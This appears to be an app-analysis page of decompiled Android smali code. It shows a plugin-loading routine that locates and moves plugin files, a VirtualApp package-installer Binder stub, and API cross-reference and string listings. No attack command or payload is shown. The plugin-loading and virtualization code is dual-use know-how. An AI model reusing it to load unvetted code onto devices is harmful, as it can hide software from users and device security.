                              276move-result-object v0
                              278const-string/jumbo v2, " fail"
                              280invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              281move-result-object v0
                              283invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              284move-result-object v0
                              286invoke-direct {v3, v0, v1}, Lcom/omg/plugin/PluginException;-><init>(Ljava/lang/String;Ljava/lang/Exception;)V
                              287throw v3
                              Cross References
                              APIs
                              • java.io.File.<init>
                              • java.io.File.exists
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • sdk.nicro.lu.ps.g.<init>
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.String.substring
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.io.File.<init>
                              • java.io.File.exists
                              • java.io.File.getParentFile
                              • java.io.File.getParentFile
                              • java.io.File.exists
                              • java.io.File.getParentFile
                              • java.io.File.mkdirs
                              • java.io.File.createNewFile
                              • java.io.File.getPath
                              • java.io.File.length
                              • java.io.File.length
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.io.File.getPath
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • sdk.nicro.lu.ps.g.<init>
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.io.File.getPath
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.io.File.getPath
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.io.File.delete
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.io.File.getPath
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.io.File.getPath
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • sdk.nicro.lu.ps.g.<init>
                              Strings
                              • \u62b1\u6b49\u627e\u4e0d\u5230\u8fd9\u5bb6\u4f19
                              • plugin file
                              • not exists
                              • _
                              • .
                              • Size
                              • \u63d2\u4ef6
                              • \u5df2\u5b58\u5728\uff0c\u61d2\u5f97\u52a8\uff0c\u5c31\u4e0d\u79fb\u52a8\u4e86
                              • create file
                              • fail
                              • \u5f00\u59cb\u5e72\u6d3b\uff0c\u79fb\u52a8
                              • \u5230
                              • move file
                              • to
                              Position Instruction Meta Information
                              0.prologue
                              1new-instance v0, Ljava/io/File;
                              3invoke-virtual {p1}, Lsdk/nicro/lu/ps/h;->c()Ljava/lang/String;
                              4move-result-object v1
                              6invoke-direct {v0, v1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                              8invoke-virtual {v0}, Ljava/io/File;->exists()Z
                              9move-result v1
                              10if-nez v1, :cond_53
                              12invoke-virtual {p0}, Lsdk/nicro/lu/ps/j;->a()Lsdk/nicro/lu/h;
                              13move-result-object v0
                              14new-instance v1, Ljava/lang/StringBuilder;
                              16invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                              18invoke-virtual {p1}, Lsdk/nicro/lu/ps/h;->c()Ljava/lang/String;
                              19move-result-object v2
                              21invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              22move-result-object v1
                              24const-string/jumbo v2, " \u62b1\u6b49\u627e\u4e0d\u5230\u8fd9\u5bb6\u4f19"
                              26invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              27move-result-object v1
                              29invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              30move-result-object v1
                              32invoke-interface {v0, v1}, Lsdk/nicro/lu/h;->b(Ljava/lang/String;)V
                              33new-instance v0, Lsdk/nicro/lu/ps/g;
                              34new-instance v1, Ljava/lang/StringBuilder;
                              36invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                              38const-string/jumbo v2, "plugin file "
                              40invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              41move-result-object v1
                              43invoke-virtual {p1}, Lsdk/nicro/lu/ps/h;->c()Ljava/lang/String;
                              44move-result-object v2
                              46invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              47move-result-object v1
                              49const-string/jumbo v2, " not exists"
                              51invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              52move-result-object v1
                              54invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              55move-result-object v1
                              57invoke-direct {v0, v1}, Lsdk/nicro/lu/ps/g;-><init>(Ljava/lang/String;)V
                              58throw v0
                              59cond_53:
                              60invoke-virtual {p1}, Lsdk/nicro/lu/ps/h;->a()Ljava/lang/String;
                              61move-result-object v1
                              63invoke-virtual {p0, v1}, Lsdk/nicro/lu/ps/j;->b(Ljava/lang/String;)Ljava/lang/String;
                              64move-result-object v1
                              66invoke-direct {p0, v1}, Lsdk/nicro/lu/ps/j;->j(Ljava/lang/String;)Ljava/lang/String;
                              67move-result-object v1
                              68new-instance v2, Ljava/io/File;
                              70invoke-virtual {p0}, Lsdk/nicro/lu/ps/j;->b()Ljava/io/File;
                              71move-result-object v3
                              72new-instance v4, Ljava/lang/StringBuilder;
                              74invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                              76invoke-virtual {v4, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              77move-result-object v4
                              79const-string/jumbo v5, "_"
                              81invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              82move-result-object v4
                              84invoke-virtual {p1}, Lsdk/nicro/lu/ps/h;->b()I
                              85move-result v5
                              87invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              88move-result-object v4
                              90const-string/jumbo v5, "."
                              92invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              93move-result-object v4
                              94const/4 v5, 0x0
                              95const/4 v6, 0x2
                              97invoke-virtual {v1, v5, v6}, Ljava/lang/String;->substring(II)Ljava/lang/String;
                              98move-result-object v1
                              100invoke-virtual {v4, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              101move-result-object v1
                              103invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              104move-result-object v1
                              106invoke-direct {v2, v3, v1}, Ljava/io/File;-><init>(Ljava/io/File;Ljava/lang/String;)V
                              107try_start_95:
                              108invoke-virtual {v2}, Ljava/io/File;->exists()Z
                              109move-result v1
                              110if-nez v1, :cond_b5
                              112invoke-virtual {v2}, Ljava/io/File;->getParentFile()Ljava/io/File;
                              113move-result-object v1
                              114if-eqz v1, :cond_b2
                              116invoke-virtual {v2}, Ljava/io/File;->getParentFile()Ljava/io/File;
                              117move-result-object v1
                              119invoke-virtual {v1}, Ljava/io/File;->exists()Z
                              120move-result v1
                              121if-nez v1, :cond_b2
                              123invoke-virtual {v2}, Ljava/io/File;->getParentFile()Ljava/io/File;
                              124move-result-object v1
                              126invoke-virtual {v1}, Ljava/io/File;->mkdirs()Z
                              127cond_b2:
                              128invoke-virtual {v2}, Ljava/io/File;->createNewFile()Z
                              129cond_b5:
                              130invoke-virtual {v2}, Ljava/io/File;->getPath()Ljava/lang/String;
                              131move-result-object v1
                              133invoke-virtual {p1, v1}, Lsdk/nicro/lu/ps/h;->b(Ljava/lang/String;)V
                              135invoke-virtual {v2}, Ljava/io/File;->length()J
                              136move-result-wide v4
                              137const-wide/16 v6, 0x0
                              138cmp-long v1, v4, v6
                              139if-lez v1, :cond_11f
                              141invoke-virtual {v2}, Ljava/io/File;->length()J
                              142move-result-wide v4
                              144const-string/jumbo v1, "Size"
                              146invoke-virtual {p1, v1}, Lsdk/nicro/lu/ps/h;->e(Ljava/lang/String;)I
                              147move-result v1
                              148int-to-long v6, v1
                              149cmp-long v1, v4, v6
                              150if-nez v1, :cond_11f
                              152invoke-virtual {p0}, Lsdk/nicro/lu/ps/j;->a()Lsdk/nicro/lu/h;
                              153move-result-object v0
                              154new-instance v1, Ljava/lang/StringBuilder;
                              156invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                              158const-string/jumbo v3, "\u63d2\u4ef6"
                              160invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              161move-result-object v1
                              163invoke-virtual {v2}, Ljava/io/File;->getPath()Ljava/lang/String;
                              164move-result-object v2
                              166invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              167move-result-object v1
                              169const-string/jumbo v2, " \u5df2\u5b58\u5728\uff0c\u61d2\u5f97\u52a8\uff0c\u5c31\u4e0d\u79fb\u52a8\u4e86"
                              171invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              172move-result-object v1
                              174invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              175move-result-object v1
                              177invoke-interface {v0, v1}, Lsdk/nicro/lu/h;->a(Ljava/lang/String;)V
                              178goto_fc: return-void
                              179catch_fd: move-exception v0
                              180new-instance v1, Lsdk/nicro/lu/ps/g;
                              181new-instance v3, Ljava/lang/StringBuilder;
                              183invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                              185const-string/jumbo v4, "create file "
                              187invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              188move-result-object v3
                              190invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                              191move-result-object v2
                              193const-string/jumbo v3, " fail"
                              195invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              196move-result-object v2
                              198invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              199move-result-object v2
                              201invoke-direct {v1, v2, v0}, Lsdk/nicro/lu/ps/g;-><init>(Ljava/lang/String;Ljava/lang/Exception;)V
                              202throw v1
                              203cond_11f:
                              204invoke-virtual {p0}, Lsdk/nicro/lu/ps/j;->a()Lsdk/nicro/lu/h;
                              205move-result-object v1
                              206new-instance v3, Ljava/lang/StringBuilder;
                              208invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                              210const-string/jumbo v4, "\u5f00\u59cb\u5e72\u6d3b\uff0c\u79fb\u52a8"
                              212invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              213move-result-object v3
                              215invoke-virtual {v0}, Ljava/io/File;->getPath()Ljava/lang/String;
                              216move-result-object v4
                              218invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              219move-result-object v3
                              221const-string/jumbo v4, "\u5230"
                              223invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              224move-result-object v3
                              226invoke-virtual {v2}, Ljava/io/File;->getPath()Ljava/lang/String;
                              227move-result-object v4
                              229invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              230move-result-object v3
                              232invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              233move-result-object v3
                              235invoke-interface {v1, v3}, Lsdk/nicro/lu/h;->a(Ljava/lang/String;)V
                              236try_start_14d:
                              237invoke-static {v0, v2}, Lsdk/nicro/lu/i;->a(Ljava/io/File;Ljava/io/File;)V
                              238try_end_150:
                              239invoke-virtual {v0}, Ljava/io/File;->delete()Z
                              240goto/16 :goto_fc
                              241catch_154: move-exception v1
                              242new-instance v3, Lsdk/nicro/lu/ps/g;
                              243new-instance v4, Ljava/lang/StringBuilder;
                              245invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                              247const-string/jumbo v5, "move file "
                              249invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              250move-result-object v4
                              252invoke-virtual {v0}, Ljava/io/File;->getPath()Ljava/lang/String;
                              253move-result-object v0
                              255invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              256move-result-object v0
                              258const-string/jumbo v4, " to "
                              260invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              261move-result-object v0
                              263invoke-virtual {v2}, Ljava/io/File;->getPath()Ljava/lang/String;
                              264move-result-object v2
                              266invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              267move-result-object v0
                              269const-string/jumbo v2, " fail"
                              271invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              272move-result-object v0
                              274invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              275move-result-object v0
                              277invoke-direct {v3, v0, v1}, Lsdk/nicro/lu/ps/g;-><init>(Ljava/lang/String;Ljava/lang/Exception;)V
                              278throw v3
                              APIs
                              • android.os.Binder.onTransact
                              • android.os.Parcel.writeString
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.os.Parcelable$Creator.createFromParcel
                              • android.os.Parcel.readString
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IPackageInstaller$Stub.createSession
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readInt
                              • android.graphics.Bitmap.CREATOR:Landroid/os/Parcelable$Creator
                              • android.os.Parcelable$Creator.createFromParcel
                              • com.lody.virtual.server.IPackageInstaller$Stub.updateSessionAppIcon
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readString
                              • com.lody.virtual.server.IPackageInstaller$Stub.updateSessionAppLabel
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IPackageInstaller$Stub.abandonSession
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IPackageInstaller$Stub.openSession
                              • android.os.Parcel.writeNoException
                              • android.content.pm.IPackageInstallerSession.asBinder
                              • android.os.Parcel.writeStrongBinder
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IPackageInstaller$Stub.getSessionInfo
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IPackageInstaller$Stub.getAllSessions
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readString
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IPackageInstaller$Stub.getMySessions
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readStrongBinder
                              • android.content.pm.IPackageInstallerCallback$Stub.asInterface
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IPackageInstaller$Stub.registerCallback
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readStrongBinder
                              • android.content.pm.IPackageInstallerCallback$Stub.asInterface
                              • com.lody.virtual.server.IPackageInstaller$Stub.unregisterCallback
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readString
                              • android.os.Parcel.readString
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readInt
                              • android.content.IntentSender.CREATOR:Landroid/os/Parcelable$Creator
                              • android.os.Parcelable$Creator.createFromParcel
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IPackageInstaller$Stub.uninstall
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IPackageInstaller$Stub.setPermissionsResult
                              • android.os.Parcel.writeNoException
                              Strings
                              • com.lody.virtual.server.IPackageInstaller
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v0, 0x0
                              2const/4 v1, 0x0
                              3const/4 v6, 0x1
                              4sparse-switch p1, :sswitch_data_16c
                              6invoke-super {p0, p1, p2, p3, p4}, Landroid/os/Binder;->onTransact(ILandroid/os/Parcel;Landroid/os/Parcel;I)Z
                              7move-result v6
                              8goto_a: return v6
                              9sswitch_b:
                              10const-string v0, "com.lody.virtual.server.IPackageInstaller"
                              12invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeString(Ljava/lang/String;)V
                              13goto/16 :goto_a
                              14sswitch_11:
                              15const-string v1, "com.lody.virtual.server.IPackageInstaller"
                              17invoke-virtual {p2, v1}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              19invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              20move-result v1
                              21if-eqz v1, :cond_24
                              23sget-object v0, Lcom/lody/virtual/server/pm/installer/SessionParams;->CREATOR:Landroid/os/Parcelable$Creator;
                              25invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              26move-result-object v0
                              27check-cast v0, Lcom/lody/virtual/server/pm/installer/SessionParams;
                              28cond_24:
                              29invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              30move-result-object v1
                              32invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              33move-result v2
                              35invoke-virtual {p0, v0, v1, v2}, Lcom/lody/virtual/server/IPackageInstaller$Stub;->createSession(Lcom/lody/virtual/server/pm/installer/SessionParams;Ljava/lang/String;I)I
                              36move-result v0
                              38invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              40invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeInt(I)V
                              41goto/16 :goto_a
                              42sswitch_37:
                              43const-string v1, "com.lody.virtual.server.IPackageInstaller"
                              45invoke-virtual {p2, v1}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              47invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              48move-result v1
                              50invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              51move-result v2
                              52if-eqz v2, :cond_4e
                              54sget-object v0, Landroid/graphics/Bitmap;->CREATOR:Landroid/os/Parcelable$Creator;
                              56invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              57move-result-object v0
                              58check-cast v0, Landroid/graphics/Bitmap;
                              59cond_4e:
                              60invoke-virtual {p0, v1, v0}, Lcom/lody/virtual/server/IPackageInstaller$Stub;->updateSessionAppIcon(ILandroid/graphics/Bitmap;)V
                              62invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              63goto/16 :goto_a
                              64sswitch_55:
                              65const-string v0, "com.lody.virtual.server.IPackageInstaller"
                              67invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              69invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              70move-result v0
                              72invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              73move-result-object v1
                              75invoke-virtual {p0, v0, v1}, Lcom/lody/virtual/server/IPackageInstaller$Stub;->updateSessionAppLabel(ILjava/lang/String;)V
                              77invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              78goto/16 :goto_a
                              79sswitch_69:
                              80const-string v0, "com.lody.virtual.server.IPackageInstaller"
                              82invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              84invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              85move-result v0
                              87invoke-virtual {p0, v0}, Lcom/lody/virtual/server/IPackageInstaller$Stub;->abandonSession(I)V
                              89invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              90goto/16 :goto_a
                              91sswitch_79:
                              92const-string v1, "com.lody.virtual.server.IPackageInstaller"
                              94invoke-virtual {p2, v1}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              96invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              97move-result v1
                              99invoke-virtual {p0, v1}, Lcom/lody/virtual/server/IPackageInstaller$Stub;->openSession(I)Landroid/content/pm/IPackageInstallerSession;
                              100move-result-object v1
                              102invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              103if-eqz v1, :cond_8f
                              105invoke-interface {v1}, Landroid/content/pm/IPackageInstallerSession;->asBinder()Landroid/os/IBinder;
                              106move-result-object v0
                              107cond_8f:
                              108invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeStrongBinder(Landroid/os/IBinder;)V
                              109goto/16 :goto_a
                              110sswitch_94:
                              111const-string v0, "com.lody.virtual.server.IPackageInstaller"
                              113invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              115invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              116move-result v0
                              118invoke-virtual {p0, v0}, Lcom/lody/virtual/server/IPackageInstaller$Stub;->getSessionInfo(I)Lcom/lody/virtual/server/pm/installer/SessionInfo;
                              119move-result-object v0
                              121invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              122if-eqz v0, :cond_ae
                              124invoke-virtual {p3, v6}, Landroid/os/Parcel;->writeInt(I)V
                              126invoke-virtual {v0, p3, v6}, Lcom/lody/virtual/server/pm/installer/SessionInfo;->writeToParcel(Landroid/os/Parcel;I)V
                              127goto/16 :goto_a
                              128cond_ae:
                              129invoke-virtual {p3, v1}, Landroid/os/Parcel;->writeInt(I)V
                              130goto/16 :goto_a
                              131sswitch_b3:
                              132const-string v0, "com.lody.virtual.server.IPackageInstaller"
                              134invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              136invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              137move-result v0
                              139invoke-virtual {p0, v0}, Lcom/lody/virtual/server/IPackageInstaller$Stub;->getAllSessions(I)Lcom/lody/virtual/remote/VParceledListSlice;
                              140move-result-object v0
                              142invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              143if-eqz v0, :cond_cd
                              145invoke-virtual {p3, v6}, Landroid/os/Parcel;->writeInt(I)V
                              147invoke-virtual {v0, p3, v6}, Lcom/lody/virtual/remote/VParceledListSlice;->writeToParcel(Landroid/os/Parcel;I)V
                              148goto/16 :goto_a
                              149cond_cd:
                              150invoke-virtual {p3, v1}, Landroid/os/Parcel;->writeInt(I)V
                              151goto/16 :goto_a
                              152sswitch_d2:
                              153const-string v0, "com.lody.virtual.server.IPackageInstaller"
                              155invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              157invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              158move-result-object v0
                              160invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              161move-result v2
                              163invoke-virtual {p0, v0, v2}, Lcom/lody/virtual/server/IPackageInstaller$Stub;->getMySessions(Ljava/lang/String;I)Lcom/lody/virtual/remote/VParceledListSlice;
                              164move-result-object v0
                              166invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              167if-eqz v0, :cond_f0
                              169invoke-virtual {p3, v6}, Landroid/os/Parcel;->writeInt(I)V
                              171invoke-virtual {v0, p3, v6}, Lcom/lody/virtual/remote/VParceledListSlice;->writeToParcel(Landroid/os/Parcel;I)V
                              172goto/16 :goto_a
                              173cond_f0:
                              174invoke-virtual {p3, v1}, Landroid/os/Parcel;->writeInt(I)V
                              175goto/16 :goto_a
                              176sswitch_f5:
                              177const-string v0, "com.lody.virtual.server.IPackageInstaller"
                              179invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              181invoke-virtual {p2}, Landroid/os/Parcel;->readStrongBinder()Landroid/os/IBinder;
                              182move-result-object v0
                              184invoke-static {v0}, Landroid/content/pm/IPackageInstallerCallback$Stub;->asInterface(Landroid/os/IBinder;)Landroid/content/pm/IPackageInstallerCallback;
                              185move-result-object v0
                              187invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              188move-result v1
                              190invoke-virtual {p0, v0, v1}, Lcom/lody/virtual/server/IPackageInstaller$Stub;->registerCallback(Landroid/content/pm/IPackageInstallerCallback;I)V
                              192invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              193goto/16 :goto_a
                              194sswitch_10e:
                              195const-string v0, "com.lody.virtual.server.IPackageInstaller"
                              197invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              199invoke-virtual {p2}, Landroid/os/Parcel;->readStrongBinder()Landroid/os/IBinder;
                              200move-result-object v0
                              202invoke-static {v0}, Landroid/content/pm/IPackageInstallerCallback$Stub;->asInterface(Landroid/os/IBinder;)Landroid/content/pm/IPackageInstallerCallback;
                              203move-result-object v0
                              205invoke-virtual {p0, v0}, Lcom/lody/virtual/server/IPackageInstaller$Stub;->unregisterCallback(Landroid/content/pm/IPackageInstallerCallback;)V
                              207invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              208goto/16 :goto_a
                              209sswitch_123:
                              210const-string v1, "com.lody.virtual.server.IPackageInstaller"
                              212invoke-virtual {p2, v1}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              214invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              215move-result-object v1
                              217invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              218move-result-object v2
                              220invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              221move-result v3
                              223invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              224move-result v4
                              225if-eqz v4, :cond_150
                              227sget-object v0, Landroid/content/IntentSender;->CREATOR:Landroid/os/Parcelable$Creator;
                              229invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              230move-result-object v0
                              231check-cast v0, Landroid/content/IntentSender;
                              232move-object v4, v0
                              233goto_143:
                              234invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              235move-result v5
                              236move-object v0, p0
                              238invoke-virtual/range {v0 .. v5}, Lcom/lody/virtual/server/IPackageInstaller$Stub;->uninstall(Ljava/lang/String;Ljava/lang/String;ILandroid/content/IntentSender;I)V
                              240invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              241goto/16 :goto_a
                              242cond_150: move-object v4, v0
                              243goto/16 :goto_143
                              244sswitch_152:
                              245const-string v0, "com.lody.virtual.server.IPackageInstaller"
                              247invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              249invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              250move-result v2
                              252invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              253move-result v0
                              254if-eqz v0, :cond_16a
                              255move v0, v6
                              256goto_162:
                              257invoke-virtual {p0, v2, v0}, Lcom/lody/virtual/server/IPackageInstaller$Stub;->setPermissionsResult(IZ)V
                              259invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              260goto/16 :goto_a
                              261cond_16a: move v0, v1
                              262goto/16 :goto_162
                              Cross References
                              APIs
                              • com.tmk.ywb.activity.ResolverActivity.mAdapter:Lcom/tmk/ywb/activity/ResolverActivity$ResolveListAdapter
                              • com.tmk.ywb.activity.ResolverActivity$ResolveListAdapter.mOrigResolveList:Ljava/util/List
                              • android.content.IntentFilter.<init>
                              • android.content.Intent.getAction
                              • android.content.Intent.getAction
                              • android.content.IntentFilter.addAction
                              • android.content.Intent.getCategories
                              • java.util.Set.iterator
                              • java.util.Iterator.hasNext
                              • java.util.Iterator.next
                              • android.content.IntentFilter.addCategory
                              • android.content.IntentFilter.addCategory
                              • android.content.Intent.getData
                              • android.content.Intent.resolveType
                              • android.content.IntentFilter.addDataType
                              • android.net.Uri.getScheme
                              • android.net.Uri.getScheme
                              • java.lang.String.equals
                              • android.net.Uri.getScheme
                              • java.lang.String.equals
